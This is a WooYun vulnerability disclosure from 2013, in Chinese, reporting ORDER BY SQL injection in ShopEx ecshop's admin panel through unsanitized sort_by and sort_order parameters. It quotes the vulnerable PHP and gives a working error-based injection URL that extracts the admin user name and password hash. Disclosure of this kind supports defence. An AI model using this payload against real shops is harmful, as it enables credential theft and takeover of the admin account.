当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024827

漏洞标题:eshop后台大面积sql注入

相关厂商:ShopEx

漏洞作者: 齐迹

提交时间:2013-05-30 21:33

修复时间:2013-08-28 21:33

公开时间:2013-08-28 21:33

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-30: 细节已通知厂商并且等待厂商处理中
2013-05-30: 厂商已经确认,细节仅向厂商公开
2013-06-02: 细节向第三方安全合作伙伴开放
2013-07-24: 细节向核心白帽子及相关领域专家公开
2013-08-03: 细节向普通白帽子公开
2013-08-13: 细节向实习白帽子公开
2013-08-28: 细节向公众公开

简要描述:

自从某数字公司悬赏后,数字公司没火,乌云上对ec的漏洞频繁爆出。。不知是什么一个情况?虽然后台漏洞大多数没钱。但是本着审核代码的原则。还是提一下把混点rank也好。现在rank是111 不吉利啊

详细说明:

后台大规模的存在 order by 注入
搜索了一下 $_REQUEST['sort_by'] 或者$_REQUEST['sort_order'] 大约涉及到30多个文件。。。
我的天。30多处!!ec的开发人员都是copy代码的吗??
说代码把
拿一处来讲把 这里没有检查权限
admin\ads.php 行36

if ($_REQUEST['act'] == 'list')
{
$pid = !empty($_REQUEST['pid']) ? intval($_REQUEST['pid']) : 0;
$smarty->assign('ur_here', $_LANG['ad_list']);
$smarty->assign('action_link', array('text' => $_LANG['ads_add'], 'href' => 'ads.php?act=add'));
$smarty->assign('pid', $pid);
$smarty->assign('full_page', 1);
$ads_list = get_adslist();
...
}


未检查权限,只要登录状态即可。
接着查看 get_adslist 方法

function get_adslist()
{
/* 过滤查询 */
$pid = !empty($_REQUEST['pid']) ? intval($_REQUEST['pid']) : 0;
$filter = array();
$filter['sort_by'] = empty($_REQUEST['sort_by']) ? 'ad.ad_name' : trim($_REQUEST['sort_by']);
$filter['sort_order'] = empty($_REQUEST['sort_order']) ? 'DESC' : trim($_REQUEST['sort_order']);
.....
$arr = array();
$sql = 'SELECT ad.*, COUNT(o.order_id) AS ad_stats, p.position_name '.
'FROM ' .$GLOBALS['ecs']->table('ad'). 'AS ad ' .
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position'). ' AS p ON p.position_id = ad.position_id '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('order_info'). " AS o ON o.from_ad = ad.ad_id $where " .
'GROUP BY ad.ad_id '.
'ORDER by '.$filter['sort_by'].' '.$filter['sort_order'];
}


$filter['sort_by'] $filter['sort_order'] 直接到sql里面。剩下的就简单了

漏洞证明:

利用代码
http://www.abc.com/admin/ads.php?act=list&sort_by=sort_order%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(user_name,0x3a,password)%20from%20ecs_admin_user%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1

ec.jpg


有了MD5 在结合我之前提的找回密码,即可轻松破解密码。。

修复方案:

这么低级的漏洞 前台都是修复了的 后台就不舍得修复一下吗?程序员该打屁屁了!

版权声明:转载请注明来源 齐迹@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-05-30 21:38

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无